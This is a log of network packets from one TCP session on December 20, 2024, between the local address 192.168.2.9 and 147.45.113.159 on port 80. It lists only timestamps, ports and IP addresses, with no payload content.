Dec 20, 2024 17:13:35.732448101 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.732563972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.733093977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.733134031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.733686924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.733952045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.733966112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.733994961 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.736983061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.737046957 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.737430096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.737456083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.737469912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.737483025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.737494946 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.737495899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.737508059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.737521887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.737524986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.737549067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.737879038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.737919092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.738837004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.739320040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.739361048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.739465952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.740062952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.740103006 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.740209103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.740838051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.740850925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.740886927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.741182089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.741224051 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.741404057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.742100000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.742141008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.742549896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.742680073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.742712975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.743011951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.743702888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.743717909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.743743896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.744394064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.744407892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.744443893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.745294094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.745337963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.745419979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.745970964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.745984077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.746006012 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.796819925 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.799277067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.799344063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.799379110 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.799627066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.799640894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.799675941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.800462961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.801059961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.801098108 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.801274061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.801287889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.801320076 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.802088976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.802473068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.802515984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.802855968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.802977085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.803010941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.803687096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.803700924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.803739071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.804274082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.804498911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.804533958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.805239916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.805254936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.805303097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.805965900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.806437969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.806478977 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.806739092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.806752920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.806792021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.807729006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.808074951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.808113098 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.808274031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.808475971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.808523893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.809329987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.809345007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.809386015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.810045958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.810101986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.810143948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.810686111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.810699940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.810729027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.811615944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.811789036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.811831951 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.811883926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.811971903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.812025070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.812670946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.813472986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.813488007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.813551903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.813798904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.813838005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.847110033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.847166061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.847220898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.847564936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.847579002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.847616911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.848270893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.848583937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.848630905 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.848876953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.890575886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.915571928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.915591002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.915638924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.915930033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.915942907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.915978909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.916588068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.917046070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.917090893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.917387009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.917407990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.917444944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.918251991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.918474913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.918515921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.919051886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.919064999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.919102907 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.919718027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.920146942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.920212030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.920552015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.920564890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.920600891 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.921242952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.921319008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.921364069 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.922099113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.922369957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.922415972 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.922816038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.923072100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.923120022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.923646927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.923660994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.923701048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.924494982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.924592018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.924629927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.925285101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.925451994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.925496101 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.926111937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.926125050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.926166058 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.926953077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.926966906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.927000999 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.927578926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.927742004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.927778959 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.928497076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.928509951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.928541899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.929327011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.929338932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.929368973 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.929923058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.929935932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.929969072 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.930789948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.930803061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.930845976 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.931499958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.931514025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.931543112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.932348967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.932817936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.932854891 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.933039904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.933053017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.933084965 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.933893919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.934556961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.934571028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.934596062 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.934681892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.934711933 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.935420990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.935463905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.935493946 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.936167955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.936268091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.936305046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.937005043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.937311888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.937344074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.937705040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.938738108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.938806057 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.991054058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.991408110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.991422892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.991452932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.992178917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.992193937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.992228031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.992970943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.992989063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.993004084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.993025064 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.993046045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.994033098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.994050026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.994108915 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.995090008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.995106936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.995141983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.995388031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.995405912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.995434046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.996413946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.996431112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.996469975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.997257948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.997268915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.997307062 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.997903109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.997915030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.997965097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.998539925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.998552084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.998584986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:35.999485970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.999497890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:35.999558926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.000144958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.000843048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.000854969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.000889063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.001147985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.001190901 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.001833916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.001846075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.001879930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.002706051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.002717018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.002757072 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.003177881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.003740072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.003787041 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.003926039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.003937960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.003968954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.004729033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.005521059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.005532980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.005563021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.006084919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.006124020 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.039819956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.039834023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.039897919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.040115118 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.040812016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.040822029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.040864944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.041630983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.041641951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.041671038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.107949018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.107973099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.108228922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.108349085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.108360052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.108412981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.108437061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.109000921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.109045029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.109160900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.109868050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.109913111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.110244036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.110490084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.110531092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.110649109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.111296892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.111335039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.111943960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.112004995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.112016916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.112040997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.112864017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.112915993 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.113006115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.113538027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.113579035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.113584995 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.114595890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.114644051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.114650011 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.115077972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.115123034 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.115349054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.115963936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.116005898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.116704941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.116718054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.116763115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.116885900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.117436886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.117481947 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.117568970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.118223906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.118274927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.118391037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.119048119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.119091034 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.119168043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.119801998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.119843960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.120068073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.120620966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.120670080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.120682001 CET	80	49711	147.45.113.159	192.168.2.9
